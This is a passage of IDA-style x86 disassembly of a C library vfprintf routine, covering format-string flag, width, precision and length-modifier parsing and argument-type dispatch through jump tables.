; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051114:				; CODE XREF: vfprintf+193Cj
					; vfprintf+1945j ...
		mov	edx, [ebp+var_450]
		movzx	edx, byte ptr [edx]
		add	edx, 0FFFFFFE0h
		inc	[ebp+var_450]
		cmp	edx, 10h	; switch 17 cases 
		ja	loc_80511BB	; default
		jmp	ds:off_8051138[edx*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
off_8051138	dd offset loc_805117C, 2 dup(offset loc_80511BB), offset loc_80511A0
					; DATA XREF: vfprintf+18A7r
		dd 3 dup(offset	loc_80511BB), offset loc_80511B4, 3 dup(offset loc_80511BB) ; jump table for switch statement
		dd offset loc_8051188, offset loc_80511BB, offset loc_8051194
		dd 2 dup(offset	loc_80511BB), offset loc_80511AC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805117C:				; CODE XREF: vfprintf+18A7j
					; DATA XREF: vfprintf+18B0o
		mov	dword ptr [esi+1Ch], 1 ; case 0x0
		jmp	short loc_80511BB ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051188:				; CODE XREF: vfprintf+18A7j
					; DATA XREF: vfprintf+18B0o
		mov	dword ptr [esi+24h], 1 ; case 0xb
		jmp	short loc_80511BB ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051194:				; CODE XREF: vfprintf+18A7j
					; DATA XREF: vfprintf+18B0o
		mov	dword ptr [esi+20h], 1 ; case 0xd
		jmp	short loc_80511BB ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80511A0:				; CODE XREF: vfprintf+18A7j
					; DATA XREF: vfprintf+18B0o
		mov	dword ptr [esi+18h], 1 ; case 0x3
		jmp	short loc_80511BB ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80511AC:				; CODE XREF: vfprintf+18A7j
					; DATA XREF: vfprintf+18B0o
		mov	byte ptr [esi+2Ch], 30h	; case 0x10
		jmp	short loc_80511BB ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80511B4:				; CODE XREF: vfprintf+18A7j
					; DATA XREF: vfprintf+18B0o
		mov	dword ptr [esi+28h], 1 ; case 0x7

loc_80511BB:				; CODE XREF: vfprintf+17D2j
					; vfprintf+1871j ...
		mov	edx, [ebp+var_450] ; default
		cmp	byte ptr [edx],	20h
		jz	loc_8051114
		cmp	byte ptr [edx],	2Bh
		jz	loc_8051114
		cmp	byte ptr [edx],	2Dh
		jz	loc_8051114
		cmp	byte ptr [edx],	23h
		jz	loc_8051114
		cmp	byte ptr [edx],	30h
		jz	loc_8051114
		cmp	byte ptr [edx],	27h
		jz	loc_8051114
		cmp	dword ptr [esi+20h], 0
		jz	short loc_8051201
		mov	byte ptr [esi+2Ch], 20h

loc_8051201:				; CODE XREF: vfprintf+1973j
		mov	dword ptr [esi+3Ch], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		mov	edx, [ebp+var_450]
		cmp	byte ptr [edx],	2Ah
		jnz	loc_8051310
		inc	[ebp+var_450]
		mov	ebx, [ebp+var_450]
		mov	[ebp+var_4F0], ebx
		movzx	edx, byte ptr [ebx]
		mov	edi, dword_8078FA0
		mov	[ebp+var_4E0], edi
		test	byte ptr [edi+edx*2+1],	8
		jz	loc_80512DD
		lea	ecx, [ebp+var_450]
		mov	[ebp+var_4EC], ecx
		lea	eax, [edx-30h]
		inc	[ebp+var_450]
		mov	edx, [ebp+var_450]
		movzx	edx, byte ptr [edx]
		test	byte ptr [edi+edx*2+1],	8
		jz	short loc_80512B0
		nop

loc_8051270:				; CODE XREF: vfprintf+1A26j
		lea	edx, [eax+eax*8]
		lea	edx, [edx+eax-30h]
		mov	[ebp+var_4E0], edx
		mov	ebx, [ebp+var_4EC]
		mov	edx, [ebx]
		movzx	edx, byte ptr [edx]
		mov	eax, [ebp+var_4E0]
		add	eax, edx
		inc	dword ptr [ebx]
		mov	edx, [ebx]
		movzx	edx, byte ptr [edx]
		mov	[ebp+var_4E0], edx
		mov	edx, dword_8078FA0
		mov	edi, [ebp+var_4E0]
		test	byte ptr [edx+edi*2+1],	8
		jnz	short loc_8051270

loc_80512B0:				; CODE XREF: vfprintf+19E5j
		test	eax, eax
		jz	short loc_80512DD
		mov	edx, [ebp+var_450]
		cmp	byte ptr [edx],	24h
		jnz	short loc_80512DD
		lea	ecx, [eax-1]
		mov	[esi+3Ch], ecx
		mov	edx, [ebp+var_43C]
		cmp	edx, eax
		jnb	short loc_80512D1
		mov	edx, eax

loc_80512D1:				; CODE XREF: vfprintf+1A45j
		mov	[ebp+var_43C], edx
		inc	[ebp+var_450]

loc_80512DD:				; CODE XREF: vfprintf+19BCj
					; vfprintf+1A2Aj ...
		cmp	dword ptr [esi+3Ch], 0
		jge	loc_8051397
		mov	ebx, [ebp+var_4B8]
		mov	[esi+3Ch], ebx
		inc	ebx
		mov	[ebp+var_4B8], ebx
		inc	[ebp+var_4BC]
		mov	edi, [ebp+var_4F0]
		mov	[ebp+var_450], edi
		jmp	loc_8051397
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051310:				; CODE XREF: vfprintf+1990j
		mov	edx, [ebp+var_450]
		movzx	edx, byte ptr [edx]
		mov	ecx, dword_8078FA0
		mov	[ebp+var_4F0], ecx
		test	byte ptr [ecx+edx*2+1],	8
		jz	short loc_8051397
		lea	ebx, [ebp+var_450]
		mov	[ebp+var_4EC], ebx
		lea	eax, [edx-30h]
		inc	[ebp+var_450]
		mov	edx, [ebp+var_450]
		movzx	edx, byte ptr [edx]
		test	byte ptr [ecx+edx*2+1],	8
		jz	short loc_8051394
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8051354:				; CODE XREF: vfprintf+1B0Aj
		lea	edx, [eax+eax*8]
		lea	edx, [edx+eax-30h]
		mov	[ebp+var_4E0], edx
		mov	edi, [ebp+var_4EC]
		mov	edx, [edi]
		movzx	edx, byte ptr [edx]
		mov	eax, [ebp+var_4E0]
		add	eax, edx
		inc	dword ptr [edi]
		mov	edx, [edi]
		movzx	edx, byte ptr [edx]
		mov	[ebp+var_4E0], edx
		mov	edx, dword_8078FA0
		mov	ecx, [ebp+var_4E0]
		test	byte ptr [edx+ecx*2+1],	8
		jnz	short loc_8051354

loc_8051394:				; CODE XREF: vfprintf+1AC7j
		mov	[esi+4], eax

loc_8051397:				; CODE XREF: vfprintf+1A59j
					; vfprintf+1A81j ...
		mov	dword ptr [esi+38h], 0FFFFFFFFh
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	edx, [ebp+var_450]
		cmp	byte ptr [edx],	2Eh
		jnz	loc_805154A
		inc	[ebp+var_450]
		mov	edx, [ebp+var_450]
		cmp	byte ptr [edx],	2Ah
		jnz	loc_80514BC
		inc	[ebp+var_450]
		mov	ebx, [ebp+var_450]
		mov	[ebp+var_4F0], ebx
		movzx	edx, byte ptr [ebx]
		mov	edi, dword_8078FA0
		mov	[ebp+var_4E0], edi
		test	byte ptr [edi+edx*2+1],	8
		jz	loc_8051489
		lea	ecx, [ebp+var_450]
		mov	[ebp+var_4EC], ecx
		lea	eax, [edx-30h]
		inc	[ebp+var_450]
		mov	edx, [ebp+var_450]
		movzx	edx, byte ptr [edx]
		test	byte ptr [edi+edx*2+1],	8
		jz	short loc_805145C
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_805141C:				; CODE XREF: vfprintf+1BD2j
		lea	edx, [eax+eax*8]
		lea	edx, [edx+eax-30h]
		mov	[ebp+var_4E0], edx
		mov	ebx, [ebp+var_4EC]
		mov	edx, [ebx]
		movzx	edx, byte ptr [edx]
		mov	eax, [ebp+var_4E0]
		add	eax, edx
		inc	dword ptr [ebx]
		mov	edx, [ebx]
		movzx	edx, byte ptr [edx]
		mov	[ebp+var_4E0], edx
		mov	edx, dword_8078FA0
		mov	edi, [ebp+var_4E0]
		test	byte ptr [edx+edi*2+1],	8
		jnz	short loc_805141C

loc_805145C:				; CODE XREF: vfprintf+1B8Fj
		test	eax, eax
		jz	short loc_8051489
		mov	edx, [ebp+var_450]
		cmp	byte ptr [edx],	24h
		jnz	short loc_8051489
		lea	ecx, [eax-1]
		mov	[esi+38h], ecx
		mov	edx, [ebp+var_43C]
		cmp	edx, eax
		jnb	short loc_805147D
		mov	edx, eax

loc_805147D:				; CODE XREF: vfprintf+1BF1j
		mov	[ebp+var_43C], edx
		inc	[ebp+var_450]

loc_8051489:				; CODE XREF: vfprintf+1B66j
					; vfprintf+1BD6j ...
		cmp	dword ptr [esi+38h], 0
		jge	loc_805154A
		mov	ebx, [ebp+var_4B8]
		mov	[esi+38h], ebx
		inc	ebx
		mov	[ebp+var_4B8], ebx
		inc	[ebp+var_4BC]
		mov	edi, [ebp+var_4F0]
		mov	[ebp+var_450], edi
		jmp	loc_805154A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80514BC:				; CODE XREF: vfprintf+1B3Aj
		mov	edx, [ebp+var_450]
		movzx	edx, byte ptr [edx]
		mov	ecx, dword_8078FA0
		mov	[ebp+var_4F0], ecx
		test	byte ptr [ecx+edx*2+1],	8
		jz	short loc_8051544
		lea	ebx, [ebp+var_450]
		mov	[ebp+var_4EC], ebx
		lea	eax, [edx-30h]
		inc	[ebp+var_450]
		mov	edx, [ebp+var_450]
		movzx	edx, byte ptr [edx]
		test	byte ptr [ecx+edx*2+1],	8
		jz	short loc_8051540
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8051500:				; CODE XREF: vfprintf+1CB6j
		lea	edx, [eax+eax*8]
		lea	edx, [edx+eax-30h]
		mov	[ebp+var_4E0], edx
		mov	edi, [ebp+var_4EC]
		mov	edx, [edi]
		movzx	edx, byte ptr [edx]
		mov	eax, [ebp+var_4E0]
		add	eax, edx
		inc	dword ptr [edi]
		mov	edx, [edi]
		movzx	edx, byte ptr [edx]
		mov	[ebp+var_4E0], edx
		mov	edx, dword_8078FA0
		mov	ecx, [ebp+var_4E0]
		test	byte ptr [edx+ecx*2+1],	8
		jnz	short loc_8051500

loc_8051540:				; CODE XREF: vfprintf+1C73j
		mov	[esi], eax
		jmp	short loc_805154A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051544:				; CODE XREF: vfprintf+1C4Ej
		mov	dword ptr [esi], 0

loc_805154A:				; CODE XREF: vfprintf+1B25j
					; vfprintf+1C05j ...
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		jmp	loc_8051653	; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051564:				; CODE XREF: vfprintf+1DD4j
					; vfprintf+1DDDj ...
		mov	edx, [ebp+var_450]
		movzx	edx, byte ptr [edx]
		add	edx, 0FFFFFFB4h
		inc	[ebp+var_450]
		cmp	edx, 25h	; switch 38 cases 
		ja	loc_8051653	; default
		jmp	ds:off_8051588[edx*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
off_8051588	dd offset loc_805164C, 0Dh dup(offset loc_8051653), offset loc_805163C
					; DATA XREF: vfprintf+1CF7r
		dd 0Dh dup(offset loc_8051653),	offset loc_8051620, 3 dup(offset loc_8051653) ;	jump table for switch statement
		dd offset loc_805162C, 4 dup(offset loc_8051653), offset loc_805164C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051620:				; CODE XREF: vfprintf+1CF7j
					; DATA XREF: vfprintf+1D00o
		mov	dword ptr [esi+10h], 1 ; case 0x1c
		jmp	short loc_8051653 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805162C:				; CODE XREF: vfprintf+1CF7j
					; DATA XREF: vfprintf+1D00o
		cmp	dword ptr [esi+14h], 0 ; case 0x20
		jnz	short loc_805164C ; case 0x0
		mov	dword ptr [esi+14h], 1
		jmp	short loc_8051653 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805163C:				; CODE XREF: vfprintf+1CF7j
					; DATA XREF: vfprintf+1D00o
		mov	dword ptr [esi+0Ch], 0 ; case 0xe
		mov	dword ptr [esi+14h], 0
		jmp	short loc_8051653 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805164C:				; CODE XREF: vfprintf+1CF7j
					; vfprintf+1DA8j
					; DATA XREF: ...
		mov	dword ptr [esi+0Ch], 1 ; case 0x0

loc_8051653:				; CODE XREF: vfprintf+1CD7j
					; vfprintf+1CF1j ...
		mov	edx, [ebp+var_450] ; default
		cmp	byte ptr [edx],	68h
		jz	loc_8051564
		cmp	byte ptr [edx],	6Ch
		jz	loc_8051564
		cmp	byte ptr [edx],	4Ch
		jz	loc_8051564
		cmp	byte ptr [edx],	5Ah
		jz	loc_8051564
		cmp	byte ptr [edx],	71h
		jz	loc_8051564
		mov	edx, [ebp+var_450]
		mov	dl, [edx]
		mov	[esi+8], dl
		inc	[ebp+var_450]
		movzx	eax, byte ptr [esi+8]
		cmp	ds:dword_807E78C[eax*4], 0
		jz	short loc_80516C0
		lea	edx, [esi+44h]
		push	edx
		push	1
		push	esi
		mov	edx, ds:dword_807E78C[eax*4]
		call	edx
		mov	[esi+48h], eax
		add	esp, 0Ch
		jmp	loc_8051843
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80516C0:				; CODE XREF: vfprintf+1E1Bj
		mov	dword ptr [esi+48h], 1
		movzx	edx, byte ptr [esi+8]
		add	edx, 0FFFFFFBBh	; switch 52 cases 
		cmp	edx, 33h
		ja	loc_805183C	; default
		jmp	ds:off_80516E0[edx*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
off_80516E0	dd offset loc_80517F0, offset loc_805183C, offset loc_80517F0
					; DATA XREF: vfprintf+1E4Fr
		dd 10h dup(offset loc_805183C),	offset loc_80517B0, 0Ah	dup(offset loc_805183C)	; jump table for switch	statement
		dd offset loc_805180C, offset loc_80517B0, 3 dup(offset	loc_80517F0)
		dd offset loc_805183C, offset loc_80517B0, 4 dup(offset	loc_805183C)
		dd offset loc_8051830, offset loc_80517B0, offset loc_8051824
		dd 2 dup(offset	loc_805183C), offset loc_8051818, offset loc_805183C
		dd offset loc_80517B0, 2 dup(offset loc_805183C), offset loc_80517B0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80517B0:				; CODE XREF: vfprintf+1E4Fj
					; DATA XREF: vfprintf+1E58o
		cmp	dword ptr [esi+0Ch], 0 ; case 0x58
		jz	short loc_80517C4
		mov	dword ptr [esi+44h], 100h
		jmp	loc_8051843
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80517C4:				; CODE XREF: vfprintf+1F2Cj
		cmp	dword ptr [esi+14h], 0
		jz	short loc_80517D4
		mov	dword ptr [esi+44h], 200h
		jmp	short loc_8051843
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80517D4:				; CODE XREF: vfprintf+1F40j
		cmp	dword ptr [esi+10h], 0
		jz	short loc_80517E4
		mov	dword ptr [esi+44h], 400h
		jmp	short loc_8051843
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80517E4:				; CODE XREF: vfprintf+1F50j
		mov	dword ptr [esi+44h], 0
		jmp	short loc_8051843
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80517F0:				; CODE XREF: vfprintf+1E4Fj
					; DATA XREF: vfprintf+1E58o
		cmp	dword ptr [esi+0Ch], 0 ; case 0x45
		jz	short loc_8051800
		mov	dword ptr [esi+44h], 105h
		jmp	short loc_8051843
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8051800:				; CODE XREF: vfprintf+1F6Cj
		mov	dword ptr [esi+44h], 5
		jmp	short loc_8051843
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805180C:				; CODE XREF: vfprintf+1E4Fj
					; DATA XREF: vfprintf+1E58o
		mov	dword ptr [esi+44h], 1 ; case 0x63
		jmp	short loc_8051843
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051818:				; CODE XREF: vfprintf+1E4Fj
					; DATA XREF: vfprintf+1E58o
		mov	dword ptr [esi+44h], 2 ; case 0x73
		jmp	short loc_8051843
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051824:				; CODE XREF: vfprintf+1E4Fj
					; DATA XREF: vfprintf+1E58o
		mov	dword ptr [esi+44h], 3 ; case 0x70
		jmp	short loc_8051843
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051830:				; CODE XREF: vfprintf+1E4Fj
					; DATA XREF: vfprintf+1E58o
		mov	dword ptr [esi+44h], 800h ; case 0x6e
		jmp	short loc_8051843
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805183C:				; CODE XREF: vfprintf+1E49j
					; vfprintf+1E4Fj
					; DATA XREF: ...
		mov	dword ptr [esi+48h], 0 ; default

loc_8051843:				; CODE XREF: vfprintf+1E33j
					; vfprintf+1F35j ...
		cmp	dword ptr [esi+40h], 0FFFFFFFFh
		jnz	short loc_8051861
		cmp	dword ptr [esi+48h], 0
		jz	short loc_8051861
		mov	ebx, [ebp+var_4B8]
		mov	[esi+40h], ebx
		mov	edi, [esi+48h]
		add	[ebp+var_4BC], edi

loc_8051861:				; CODE XREF: vfprintf+1FBFj
					; vfprintf+1FC5j
		cmp	byte ptr [esi+8], 0
		jnz	short loc_8051878
		mov	edx, [ebp+var_450]
		dec	edx
		mov	[esi+34h], edx
		mov	[esi+30h], edx
		jmp	short loc_80518D2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051878:				; CODE XREF: vfprintf+1FDDj
		mov	edx, [ebp+var_450]
		mov	[esi+30h], edx
		mov	[ebp+var_4F0], edx
		cmp	byte ptr [edx],	0
		jz	short loc_80518C9

loc_805188C:				; CODE XREF: vfprintf+203Fj
		mov	ecx, [ebp+var_4F0]
		cmp	byte ptr [ecx],	25h
		jz	short loc_80518C9
		cmp	byte ptr [ecx],	0
		jge	short loc_80518AD
		push	1
		push	ecx
		push	0
		call	sub_805602C
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_80518B8

loc_80518AD:				; CODE XREF: vfprintf+2012j
		inc	[ebp+var_4F0]
		jmp	short loc_80518BE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80518B8:				; CODE XREF: vfprintf+2023j
		add	[ebp+var_4F0], eax

loc_80518BE:				; CODE XREF: vfprintf+202Bj
		mov	ebx, [ebp+var_4F0]
		cmp	byte ptr [ebx],	0
		jnz	short loc_805188C

loc_80518C9:				; CODE XREF: vfprintf+2002j
					; vfprintf+200Dj
		mov	edi, [ebp+var_4F0]
		mov	[esi+34h], edi

loc_80518D2:				; CODE XREF: vfprintf+1FECj
		mov	ecx, [ebp+var_4BC]
		add	[ebp+var_4B0], ecx
		mov	ebx, [ebp+var_4D4]
		mov	edi, [ebp+var_4AC]
		mov	edx, [edi+ebx+34h]
		mov	[ebp+var_400], edx
		add	ebx, 58h
		mov	[ebp+var_4D4], ebx
		inc	[ebp+var_4A4]
		cmp	byte ptr [edx],	0
		jnz	loc_8050F64

loc_805190C:				; CODE XREF: vfprintf+16BFj
		mov	edx, [ebp+var_43C]
		mov	eax, [ebp+var_4B0]
		cmp	eax, edx
		jnb	short loc_805191E
		mov	eax, edx

loc_805191E:				; CODE XREF: vfprintf+2092j
		mov	[ebp+var_4B0], eax
		lea	edx, ds:0[eax*4]
		mov	[ebp+var_4E0], edx
		sub	esp, edx
		mov	esi, esp
		push	edx
		push	0
		push	esi
		call	memset
		mov	ecx, [ebp+var_4B0]
		lea	edx, [ecx+ecx*2]
		shl	edx, 2
		add	esp, 0Ch
		sub	esp, edx
		mov	[ebp+var_4B4], esp
		cmp	[ebp+var_4A4], 0
		jz	loc_8051A54
		mov	ebx, [ebp+var_4AC]
		mov	[ebp+var_4F0], ebx
		mov	[ebp+var_4EC], 0

loc_8051978:				; CODE XREF: vfprintf+21C6j
		mov	edi, [ebp+var_4EC]
		mov	ecx, [ebp+var_4AC]
		cmp	dword ptr [ecx+edi+3Ch], 0FFFFFFFFh
		jz	short loc_8051996
		mov	edx, [ecx+edi+3Ch]
		mov	dword ptr [esi+edx*4], 0

loc_8051996:				; CODE XREF: vfprintf+2101j
		mov	ebx, [ebp+var_4EC]
		mov	edi, [ebp+var_4AC]
		cmp	dword ptr [edi+ebx+38h], 0FFFFFFFFh
		jz	short loc_80519B4
		mov	edx, [edi+ebx+38h]
		mov	dword ptr [esi+edx*4], 0

loc_80519B4:				; CODE XREF: vfprintf+211Fj
		mov	ecx, [ebp+var_4EC]
		mov	ebx, [ebp+var_4AC]
		mov	edx, [ebx+ecx+48h]
		test	edx, edx
		jz	short loc_8051A2B
		cmp	edx, 1
		jnz	short loc_80519DC
		mov	edi, [ebx+ecx+40h]
		mov	edx, [ebx+ecx+44h]
		mov	[esi+edi*4], edx
		jmp	short loc_8051A2B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80519DC:				; CODE XREF: vfprintf+2143j
		mov	ecx, [ebp+var_4EC]
		mov	ebx, [ebp+var_4AC]
		movzx	ecx, byte ptr [ebx+ecx+8]
		mov	[ebp+var_4E0], ecx
		mov	edi, [ebp+var_4EC]
		mov	edi, [ebx+edi+40h]
		lea	edx, ds:0[edi*4]
		add	edx, esi
		push	edx
		mov	ecx, [ebp+var_4EC]
		mov	edx, [ebx+ecx+48h]
		push	edx
		mov	ebx, [ebp+var_4F0]
		push	ebx
		mov	edi, [ebp+var_4E0]
		mov	edx, ds:dword_807E78C[edi*4]
		call	edx
		add	esp, 0Ch

loc_8051A2B:				; CODE XREF: vfprintf+213Ej
					; vfprintf+2150j
		add	[ebp+var_4F0], 58h
		add	[ebp+var_4EC], 58h
		mov	ecx, [ebp+var_4A4]
		lea	edx, [ecx+ecx*4]
		lea	edx, [ecx+edx*2]
		shl	edx, 3
		cmp	[ebp+var_4EC], edx
		jnz	loc_8051978

loc_8051A54:				; CODE XREF: vfprintf+20D4j
		mov	[ebp+var_4F0], 0
		mov	ebx, [ebp+var_468]
		mov	[ebp+arg_8], ebx
		mov	edi, [ebp+var_4B0]
		cmp	[ebp+var_4F0], edi
		jnb	loc_8051BDE
		mov	eax, [ebp+var_4B4]
		nop

loc_8051A80:				; CODE XREF: vfprintf+2350j
		mov	edx, [esi]
		cmp	edx, 4
		jz	loc_8051B38
		jg	short loc_8051ABC
		cmp	edx, 1
		jz	short loc_8051AF8
		jg	short loc_8051AA4
		test	edx, edx
		jz	loc_8051B78
		jmp	loc_8051B98
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051AA4:				; CODE XREF: vfprintf+220Aj
		cmp	edx, 2
		jz	loc_8051B78
		cmp	edx, 3
		jz	loc_8051B88
		jmp	loc_8051B98
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8051ABC:				; CODE XREF: vfprintf+2203j
		cmp	edx, 105h
		jz	loc_8051B5C
		jg	short loc_8051ADC
		cmp	edx, 5
		jz	short loc_8051B48
		cmp	edx, 100h
		jz	short loc_8051B20
		jmp	loc_8051B98
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051ADC:				; CODE XREF: vfprintf+2240j
		cmp	edx, 200h
		jz	loc_8051B88
		cmp	edx, 400h
		jz	short loc_8051B0C
		jmp	loc_8051B98
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051AF8:				; CODE XREF: vfprintf+2208j
		add	[ebp+arg_8], 4
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx-4]
		mov	[eax], dl
		jmp	loc_8051BC0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051B0C:				; CODE XREF: vfprintf+2266j
		add	[ebp+arg_8], 4
		mov	ebx, [ebp+arg_8]
		mov	dx, [ebx-4]
		mov	[eax], dx
		jmp	loc_8051BC0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8051B20:				; CODE XREF: vfprintf+224Dj
		add	[ebp+arg_8], 8
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebx-8]
		mov	[eax], edx
		mov	edx, [ebx-4]
		mov	[eax+4], edx
		jmp	loc_8051BC0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8051B38:				; CODE XREF: vfprintf+21FDj
		add	[ebp+arg_8], 8
		mov	edi, [ebp+arg_8]
		fld	qword ptr [edi-8]
		fstp	dword ptr [eax]
		jmp	short loc_8051BC0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051B48:				; CODE XREF: vfprintf+2245j
		add	[ebp+arg_8], 8
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx-8]
		mov	[eax], edx
		mov	edx, [ecx-4]
		mov	[eax+4], edx
		jmp	short loc_8051BC0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051B5C:				; CODE XREF: vfprintf+223Aj
		add	[ebp+arg_8], 0Ch
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebx-0Ch]
		mov	[eax], edx
		mov	edx, [ebx-8]
		mov	[eax+4], edx
		mov	edx, [ebx-4]
		mov	[eax+8], edx
		jmp	short loc_8051BC0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051B78:				; CODE XREF: vfprintf+220Ej
					; vfprintf+221Fj
		add	[ebp+arg_8], 4
		mov	edi, [ebp+arg_8]
		mov	edx, [edi-4]
		mov	[eax], edx
		jmp	short loc_8051BC0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051B88:				; CODE XREF: vfprintf+2228j
					; vfprintf+225Aj
		add	[ebp+arg_8], 4
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx-4]
		mov	[eax], edx
		jmp	short loc_8051BC0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
